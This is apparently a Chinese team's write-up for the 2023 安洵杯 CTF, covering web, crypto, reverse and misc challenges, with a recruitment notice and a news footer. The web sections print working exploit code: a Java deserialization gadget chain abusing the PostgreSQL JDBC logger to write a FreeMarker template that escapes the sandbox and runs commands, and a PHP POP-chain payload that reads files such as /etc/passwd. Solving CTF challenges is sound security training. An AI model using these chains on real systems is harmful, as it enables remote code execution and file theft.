2023安洵杯 WriteUp By Mini-Venom
招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
admin@chamd5.org(带上简历和想加入的小组
Web
what's my name
参考 https://blog.csdn.net/solitudi/article/details/107744427
代码注入
里面有个admin.php 然后那个莫名其妙多一个字符
用00填充
执行32次
ezjava
看样子是写模板了,题目设置的防火墙就挺新颖的。。那么多条命令就为了让题目不出网。
就一个/read反序列化路由,但是设了黑名单:
static {
BLACKLIST.add("com.sun.jndi");
BLACKLIST.add("com.fasterxml.jackson");
BLACKLIST.add("org.springframework");
BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
BLACKLIST.add("java.security.SignedObject");
BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
BLACKLIST.add("java.lang.Runtime");
BLACKLIST.add("java.lang.ProcessBuilder");
BLACKLIST.add("java.util.PriorityQueue");
}
有个PGSQL依赖,版本42.3.1比较低。
https://forum.butian.net/share/1339
看博客发现有两种利用,既然题目有freemarker并且不出网肯定是打任意文件写覆盖模板RCE了。
题目给提示org.postgresql.ds.common#BaseDataSource,非常明显看到了sink点。DriverManager.getConnection,user和password是无关紧要的。主要看一下getUrl。
public Connection getConnection(@Nullable String user, @Nullable String password)
throws SQLException {
try {
Connection con = DriverManager.getConnection(getUrl(), user, password);
if (LOGGER.isLoggable(Level.FINE)) {
LOGGER.log(Level.FINE, "Created a {0} for {1} at {2}",
new Object[] {getDescription(), user, getUrl()});
}
return con;
} catch (SQLException e) {
LOGGER.log(Level.FINE, "Failed to create a {0} for {1} at {2}: {3}",
new Object[] {getDescription(), user, getUrl(), e});
throw e;
}
}
这里取的是serverName,用后面的databaseName还有query不太好操作。所以直接通过setter 方法给serverName赋值。
BaseDataSource是个抽象类,找个子类实例化。
PGConnectionPoolDataSource pgPoolingDataSource = new PGConnectionPoolDataSource();
pgPoolingDataSource.setServerNames(new String[]{"/?loggerLevel=DEBUG&loggerFile=/app/templates/index.ftl&<#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}&"});
// pgPoolingDataSource.getConnection("a","a");
System.out.println(pgPoolingDataSource.getUrl());
-------------------------------------输出-------------------------------------------
jdbc:postgresql:///?loggerLevel=DEBUG&loggerFile=/app/templates/index.ftl&<#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("cat /flag")}&/
url
问题解决接下来就是找gadget。
看样子是要找一个替换PriorityQueue的地方。触发BeanComparator#compare,BeanComparator#compare触发getPooledConnection。
最终找到TreeMap#put方法,key可控。comparator有getter可以赋值。
使用CC6的前半段触发Object#put即可。
调用栈:
getUrl:1239, BaseDataSource (org.postgresql.ds.common)
getConnection:111, BaseDataSource (org.postgresql.ds.common)
getConnection:87, BaseDataSource (org.postgresql.ds.common)
getPooledConnection:58, PGConnectionPoolDataSource (org.postgresql.ds)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
compare:1295, TreeMap (java.util)
put:538, TreeMap (java.util)
get:152, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2345, ObjectInputStream (java.io)
readOrdinaryObject:2236, ObjectInputStream (java.io)
readObject0:1692, ObjectInputStream (java.io)
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
main:58, ezJava (gadget.timu)
虽然报错了但是通过报错信息还是有起始标签就可以被freemarker解析。
freemarker版本比较高,但是macro-helpers开了
spring.freemarker.expose-spring-macro-helpers=true
Spring Beans可用,可以直接禁用沙箱。拿这个写index.ftl访问模板即可。
Java
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}
最终exp:
package gadget.timu;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.codehaus.jackson.JsonNode;
import org.postgresql.PGProperty;
import org.postgresql.ds.PGConnectionPoolDataSource;
import org.postgresql.ds.PGPoolingDataSource;
import org.postgresql.ds.common.BaseDataSource;
import util.ReflectionUtils;
import util.SerializerUtils;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import java.util.TreeMap;
import java.util.concurrent.LinkedBlockingDeque;
import java.util.concurrent.PriorityBlockingQueue;
public class ezJava {
public static void main(String[] args) throws Exception {
String loggerLevel="DEBUG";
String loggerFile="/hack.jsp";
String shellContent="<%25test;%25>";
PGConnectionPoolDataSource pgPoolingDataSource = new PGConnectionPoolDataSource();
pgPoolingDataSource.setServerNames(new String[]{"/?loggerLevel=DEBUG&loggerFile=/app/templates/index.ftl&<#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}&"});
// pgPoolingDataSource.getConnection("a","a");
//
final BeanComparator comparator = new BeanComparator();
// final LinkedBlockingDeque<Object> queue = new LinkedBlockingDeque<Object>(comparator);
// queue.add(1);
// queue.add(1);
// JsonNodeFactory JsonNodeFactory = new JsonNodeFactory(true);
// ArrayNode arrayNode = new ArrayNode(JsonNodeFactory);
ReflectionUtils.setFieldValue(comparator, "property", "pooledConnection");
//
// ReflectionUtils.setFieldValue(queue, "queue", new Object[]{pgPoolingDataSource, pgPoolingDataSource});
TreeMap treeMap = new TreeMap<>(comparator);
ConstantFactory factory = new ConstantFactory("1");
Map<Object,Object> lazyMap = LazyMap.decorate(treeMap, factory);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, pgPoolingDataSource);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
ReflectionUtils.setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
// 将factory重新赋值为lazyMap从而触发factory.transform
// Class clazz= LazyMap.class;
// serialize(queue);
// unserialize();
// SerializerUtils.unserialize(SerializerUtils.serialize(badAttributeValueExpException));
// Test();
System.out.println(SerializerUtils.serializeBase64(badAttributeValueExpException));
}
public static void Test() {
String loggerLevel="DEBUG";
String loggerFile="../hack.jsp";
String shellContent="<%25test;%25>";
String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;
System.out.println(dbUrl);
}
}
easy_unserialize
先用 Directorylterator 列目录找到flag文件
<?php
//error_reporting(0);
class Good{
public $g1;
private $gg2;
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
// var_dump($this->md5);
}
//public function __construct($a)
//{
// $this->md5=$a;
//}
public function __toString()
{
// phpinfo();
$new = $this->l1;
return $new();
}
public function __get($arg1)
{
// phpinfo();
$this->ll2->ll2('b2');
}
public function __unset($arg1)
{
// phpinfo();
// var_dump($this->md5);
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
// phpinfo();
// var_dump($this->y1->y1);
unset($this->y1->y1);
}
}
class Flag{
// public $one;
// public $two;
public function __invoke()
{
// phpinfo();
// echo "May be you can get what you want here";
// var_dump($this);
array_walk($this, function ($one, $two) {
var_dump($one);
var_dump($two);
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
$Flag=new Flag();
$Flag->SplFileObject='/FfffLlllLaAaaggGgGg';
$Flag->two='aaaaal';
$Luck1=new Luck(1);
$Luck1->l1=$Flag;
$Luck=new Luck($Luck1);
$You=new You();
$You->y1=$Luck;
var_dump(urlencode(serialize($You)));
//unserialize('O:3:"You":1:{s:2:"y1";O:4:"Luck":4:{s:2:"l1";N;s:3:"ll2";N;s:9:" Luck md5";N;s:4:"lll3";N;}}');
//unserialize(urldecode("O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BN%3Bs%3A3%3A%22ll2%22%3BN%3Bs%3A9%3A%22%00Luck%00md5%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A2%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3Bs%3A3%3A%22two%22%3Bs%3A6%3A%22aaaaal%22%3B%7Ds%3A3%3A%22ll2%22%3BN%3Bs%3A9%3A%22%00Luck%00md5%22%3Bi%3A1%3Bs%3A4%3A%22lll3%22%3BN%3B%7Ds%3A4%3A%22lll3%22%3BN%3B%7D%7D"));
Swagger docs
后边有个python
#coding=gbk
import json
from flask import Flask, request, jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os
app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True
app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
'code': 0,
'message': 'failed',
'result': None
}
response1={
'code': 1,
'message': 'success',
'result': current_time
}
response2 = {
'code': 2,
'message': 'Invalid request parameters',
'result': None
}
def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500
return decorated
@app.route('/',methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')
@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
User.setUser(username,password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)
return jsonify(response2),400
@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
return jsonify(response2), 400
@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
try:
if request.method == 'POST':
try:
new_password = request.get_json()
if new_password:
update(new_password, User)
updated_token = jwt.encode({'username': User.username, 'password': User.password},
app.config['SECRET_KEY'], algorithm='HS256')
User.token = updated_token
response = jsonify(response1)
response.set_cookie('token',updated_token)
return response
else:
return jsonify(response0), 401
except:
return "Something error?",505
else:
return jsonify(response2), 400
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)
@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response
@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
if request.args.get('file'):
try:
if request.args.get('id'):
id = request.args.get('id')
else:
id = ''
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
if data.status_code != 200:
return data.status_code
if request.args.get('type') == "text":
return render_template_string(data.text)
else:
return jsonify(json.loads(data.text))
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?'
else:
return jsonify(response2)
class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password
def setToken(self, token):
self.token = token
def __init__(self):
self.username="admin"
self.password="password"
self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')
if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0')
aiijava
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.example.ctf;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.example.ctf.database.message.Message;
import com.example.ctf.database.message.MessageDao;
import com.example.ctf.database.user.User;
import com.example.ctf.database.user.UserDao;
import com.example.ctf.database.user.UserService;
import java.security.Principal;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.view.RedirectView;
@Controller
public class WebController {
@Autowired
private UserDao userDao;
@Autowired
private UserService userService;
@Autowired
private MessageDao messageDao;
public WebController() {
}
@RequestMapping({"/register"})
public ResponseEntity<String> register(HttpServletRequest request) {
try {
User u1 = new User();
Message message = new Message();
u1.setUsername(request.getParameter("username"));
u1.setPassword(request.getParameter("password"));
u1.setAge(Integer.parseInt(request.getParameter("age")));
u1.setAccountNonExpired(true);
u1.setAccountNonLocked(true);
u1.setCredentialsNonExpired(true);
u1.setEnabled(true);
u1.setRole("ROLE_user");
this.userDao.save(u1);
message.setUsername(request.getParameter("username"));
this.messageDao.save(message);
System.out.println("register" + request.getParameter("username"));
String data = "Success!";
return new ResponseEntity(data, HttpStatus.OK);
} catch (Exception var5) {
return new ResponseEntity("用户已存在", HttpStatus.INTERNAL_SERVER_ERROR);
}
}
@RequestMapping({"/user_page"})
public ModelAndView user(Principal principal) {
ModelAndView modelAndView = new ModelAndView();
System.out.println(this.hasAdminRole());
if (this.hasAdminRole()) {
RedirectView redirectView = new RedirectView("/admin/" + principal.getName(), true);
return new ModelAndView(redirectView);
} else {
modelAndView.addObject("username", principal.getName());
modelAndView.addObject("age", this.userDao.findUserByUsername(principal.getName()).getAge());
String messages = "";
if (this.messageDao.findMessageByUsername(principal.getName()) != null) {
messages = this.messageDao.findMessageByUsername(principal.getName()).getMessage();
}
modelAndView.addObject("messages", messages);
modelAndView.setViewName("user");
return modelAndView;
}
}
@RequestMapping({"/admin/{name}"})
public ModelAndView admin(@PathVariable String name) {
ModelAndView modelAndView = new ModelAndView();
if (name.equals("")) {
name = "test";
}
modelAndView.addObject("username", name);
List<Message> messsagelist = this.messageDao.findAll();
List<User> users = this.userService.Usersby("username");
modelAndView.addObject("userList", users);
modelAndView.addObject("messsagelist", messsagelist);
modelAndView.setViewName("admin");
return modelAndView;
}
@RequestMapping({"/post_message/{name}"})
@ResponseBody
public ResponseEntity<String> customResponse(@RequestBody String message, @PathVariable String name) {
System.out.println(message);
JSONObject jsonObject = JSON.parseObject(message);
System.out.println(jsonObject.getString("username"));
System.out.println(jsonObject.getString("message"));
this.messageDao.updateMessagesByUsername(name, jsonObject.getString("message"));
String data = "Success!";
return new ResponseEntity(data, HttpStatus.OK);
}
public boolean hasAdminRole() {
return SecurityContextHolder.getContext().getAuthentication().getAuthorities().stream().anyMatch((grantedAuthority) -> {
return grantedAuthority.getAuthority().equals("ROLE_admin");
});
}
}
Crypto:
010101
爆破两次1024bit,对应前1024位和后1024位,分解n
import hashlib
import string
from itertools import product
table = string.ascii_letters + string.digits
str = b'SHA256(XXXX + bgqHWw2zQlwLNSwc):e54842f443d7930fa1d081cd57d222810c192dd8006821658e15b6a05b1ad489'
GeShi = b'Give Me XXXX:' # 改格式!
proof = str.decode().split('SHA256')[-1]
print(proof)
Xnum = proof.split('+')[0].upper().count("X")
tail = proof.split('+')[1].split(')')[0].strip()
_hash = proof.split(':')[-1].strip()
if '\n' in _hash:
_hash = _hash.split('\n')[0]
print("未知数:", Xnum)
print(tail)
print(_hash)
print('开始爆破!')
for i in product(table, repeat=Xnum):
head = ''.join(i)
# print(head)
t = hashlib.sha256((head + tail).encode()).hexdigest()
if t == _hash:
print('爆破成功!结果是:', end='')
print(head)
break
爆破成功后返回 n,p,c
这里的p注意
p1 = list(p[:1024])
p2 = list(p[1024:])
p1[random.choice([i for i, c in enumerate(p1) if c == '1'])] = '0'
p2[random.choice([i for i, c in enumerate(p1) if c == '0'])] = '1'
前1024bit 有 1 的位置 置换 为 0
前1024bit 有 0 的位置,后1024bit 相同的位置 置换成 1
注意 后1024bit 被置换的位置 可能原先依然为 1 ,这个时候步骤2 不会对p产生变化
解题思路就是最简单的爆破
from Crypto.Util.number import *
from gmpy2 import gcd
from tqdm import tqdm
n = xx
p = 0bxx
c = xx
p = bin(p)[2:]
for i in tqdm(range(1024)):
for j in range(1024, 2048):
if p[j] == '1' and p[i] == '0' and p[j-1024] == '0':
q = int(p, 2) + pow(2, len(p)-i-1)
q0 = q - pow(2, len(p)-j-1)
if gcd(n, q) == q:
d = inverse(e, q-1)
elif gcd(q0,n) == q0:
d = inverse(e, q0-1)
q = q0
else :
continue
flag = long_to_bytes(int(pow(c, d, q)))
if b'D0g3{' in flag:
print(flag)
break
D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}
POA
Pading Oracle攻击,构造iv改变最后一位爆破
import hashlib
import string
from itertools import product
table = string.ascii_letters + string.digits
str = b'SHA256(XXXX + bgqHWw2zQlwLNSwc):e54842f443d7930fa1d081cd57d222810c192dd8006821658e15b6a05b1ad489'
GeShi = b'Give Me XXXX:' # 改格式!
proof = str.decode().split('SHA256')[-1]
print(proof)
Xnum = proof.split('+')[0].upper().count("X")
tail = proof.split('+')[1].split(')')[0].strip()
_hash = proof.split(':')[-1].strip()
if '\n' in _hash:
_hash = _hash.split('\n')[0]
print("未知数:", Xnum)
print(tail)
print(_hash)
print('开始爆破!')
for i in product(table, repeat=Xnum):
head = ''.join(i)
# print(head)
t = hashlib.sha256((head + tail).encode()).hexdigest()
if t == _hash:
print('爆破成功!结果是:', end='')
print(head)
break
爆破过proof:
sh.recvuntil(b'Welcome to AES System, please choose the following options:\n1. encrypt the flag\n2. decrypt the flag\n')
sh.sendline(b'1')
sh.recvuntil(b'This is your flag: ')
Cipher = sh.recvuntil(b'\n')[:-1]
得到返回的Ciper值,由IV和ciper组成,https://ctf-wiki.mahaloz.re/crypto/blockcipher/mode/padding-oracle-attack/#padding-oracle-attack
Pading oracle attack,可以观察到:
def asserts(pt: bytes):
num = pt[-1]
if len(pt) == 16:
result = pt[::-1]
count = 0
for i in result:
if i == num:
count += 1
else:
break
if count == num:
return True
else:
return False
else:
return False
利用assert的num构造最后一位(IV输入可控)从而控制num即可过asserts,通过交互回显爆破即可:
m_known = b'}'
for i in tqdm(range(6,15)):
for j in range(32,128):
i_known = (i<<24) + (i<<16) + (i<<8) + i
num = len(m_known)
K = bytes_to_long(m_known[::-1])^bytes_to_long(IV[-4-num:-4])^bytes_to_long(long_to_bytes(i)*num)
k1 = long_to_bytes(IV[-i] ^ j ^ i)
k2 = long_to_bytes(bytes_to_long(IV[-4:]) ^ bytes_to_long(b'\x04' * 4) ^ i_known)
iv = IV[:16-i] + k1 + k2
sh.sendline(b'2')
sh.recvuntil(b'Please enter ciphertext:\n')
sh.sendline(f'{cipher}'.encode())
Asser = sh.recvuntil(b'\n')[:-1]
if Asser == b'True':
m_known += long_to_bytes(j)
break
print(m_known[::-1])
# D0g3{0P@d4Ttk}
Rabin
import hashlib
import string
from itertools import product
table = string.ascii_letters + string.digits
str = b'SHA256(XXXX + bgqHWw2zQlwLNSwc):e54842f443d7930fa1d081cd57d222810c192dd8006821658e15b6a05b1ad489'
GeShi = b'Give Me XXXX:' # 改格式!
proof = str.decode().split('SHA256')[-1]
print(proof)
Xnum = proof.split('+')[0].upper().count("X")
tail = proof.split('+')[1].split(')')[0].strip()
_hash = proof.split(':')[-1].strip()
if '\n' in _hash:
_hash = _hash.split('\n')[0]
print("未知数:", Xnum)
print(tail)
print(_hash)
print('开始爆破!')
for i in product(table, repeat=Xnum):
head = ''.join(i)
# print(head)
t = hashlib.sha256((head + tail).encode()).hexdigest()
if t == _hash:
print('爆破成功!结果是:', end='')
print(head)
break
交互获取数据,时间挺长的。。。
Python
sh.recv()
sh.sendline(head)
sh.recvuntil(b'Press 1 to get ciphertext\n')
sh.sendline(b'1')
n = sh.recvuntil(b'\n')[:-1]
inv_p = sh.recvuntil(b'\n')[:-1]
inv_q = sh.recvuntil(b'\n')[:-1]
c1 = sh.recvuntil(b'\n')[:-1]
c2 = sh.recvuntil(b'\n')[:-1]
print(n, c1, c2, inv_p, inv_q)
猜测x的值大小,由r的生成公式进行判断(GCD(r,n)是否有解):
while True:
r = r * x
if r.bit_length() > 1024 and isPrime(r - 1):
r = r - 1
break
当x为2^i时有解,x为2,range负数不合理,x为4,e1过大,所以x为8,通过e1和e2方程:
for i in range(x - (2**2 - 1)):
a += pow(e1, i)
for j in range(3):
b += pow(e2, j)
e1为2,e2为5
Hitcon原题思路:https://github.com/pcw109550/write-up/tree/master/2019/HITCON/Lost_Modulus_Again
p = k1+inv_q ;q = k2 + inv_p
建立一元二次方程,分解p和q的值:
x = var('x')
f = inv_p * x ** 2 + (2 * inv_q * inv_p - 1 - p_q) * x + inv_q * (inv_p * inv_q - 1)
X = f.roots()
k1 = X[1]
p = inv_q + k1
q = p_q//p
rabin思路:求解p,q,r的解(m = c^((p+1)//4) mod p),使用crt求解即可:
m11 = pow(c1,(p+1)//4,p)
m12 = pow(c1,(q+1)//4,q)
m13 = pow(c1,(r+1)//4,r)
M1 = [m11,-m11%p]
M2 = [m12,-m12%q]
M3 = [m13,-m13%r]
for i1,i2,i3 in itertools.product(M1,M2,M3):
m = crt([int(i1),int(i2),int(i3)],[int(p),int(q),int(r)])
print(long_to_bytes(m))
第二个,rsa解密,求d,c^d mod n即可:
phi = (p-1)*(q-1)*(r-1)
d2 = gmpy2.invert(e2,phi)
m = gmpy2.powmod(c2,int(d2),n)
print(long_to_bytes(m))
组合拼接一下:D0g3{82309bce-9db6-5340-a9e4-a67a9ba15345}
Reverse:
mobilego
go+kotlin
position_map = {
0: 26, 1: 17, 2: 21, 3: 31, 4: 36, 5: 15, 6: 27, 7: 19, 8: 24, 9: 6,
10: 10, 11: 2, 12: 12, 13: 35, 14: 4, 15: 9, 16: 16, 17: 37, 18: 18, 19: 7,
20: 20, 21: 0, 22: 23, 23: 22, 24: 13, 25: 14, 26: 25, 27: 30, 28: 11, 29: 3,
30: 8, 31: 29, 32: 32, 33: 33, 34: 1, 35: 34, 36: 28, 37: 5
}
def correct_decrypt_with_given_map(encrypted_str, position_map):
decrypted_list = [''] * len(encrypted_str)
for original_position, encrypted_position in position_map.items():
decrypted_list[original_position] = encrypted_str[encrypted_position]
decrypted_str = ''.join(decrypted_list)
return decrypted_str
encrypted_str = "49021}5f919038b440139g74b7Dc88330e5d{6"
print(correct_decrypt_with_given_map(encrypted_str, position_map))
D0g3{4c3b5903d11461f94478b7302980e958}
Misc:
misc-dacongのWindows
1:音频是SSTV,解密第39个
2:windows.dumpfiles出来secret.rar然后snow隐写
3:我用vol2查看注册表找到密钥:d@@Coong_LiiKEE_F0r3NsIc
然后aes解密flag3.txt
flag3和dacong_like_listen是一样的,八成是出题人忘删了。
img flag
Nahida
silenteye一把梭
misc-dacongのsecret
解密压缩包,获得jpg jpg文件尾部提取之后逆序获得压缩包。
从PNG文件最后一个IDAT块,然后手动修复,添加PNG文件头信息,然后爆破宽高得到key
然后解密压缩包,
base64隐写
jphide
疯狂的麦克斯
XLMWMWQOWHSCSYORSAALSEQM 经过维吉尼亚加密,解密密钥是 e ,也就是 THIS IS MKS DO YOU KNOW WHO AM I 但是没啥用
后面这块是rot13偏移22再解密base64
- END -
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 习近平拉美之行的三个“一” 7946375
- 2 微信或史诗级“瘦身” 内存有救了 7983057
- 3 男子求助如何打开亡父遗留14年手机 7854083
- 4 中国主张成为G20峰会的一抹亮色 7745777
- 5 中国对日本等国试行免签 7630753
- 6 7万余件儿童羽绒服里没有真羽绒 7532858
- 7 女生半裸遭男保洁刷卡闯入 酒店回应 7420204
- 8 70多辆小米SU7同一天撞墙撞柱 7317223
- 9 操纵股价 2人被证监会罚没近3.35亿 7221439
- 10 千年古镇“因网而变、因数而兴” 7193606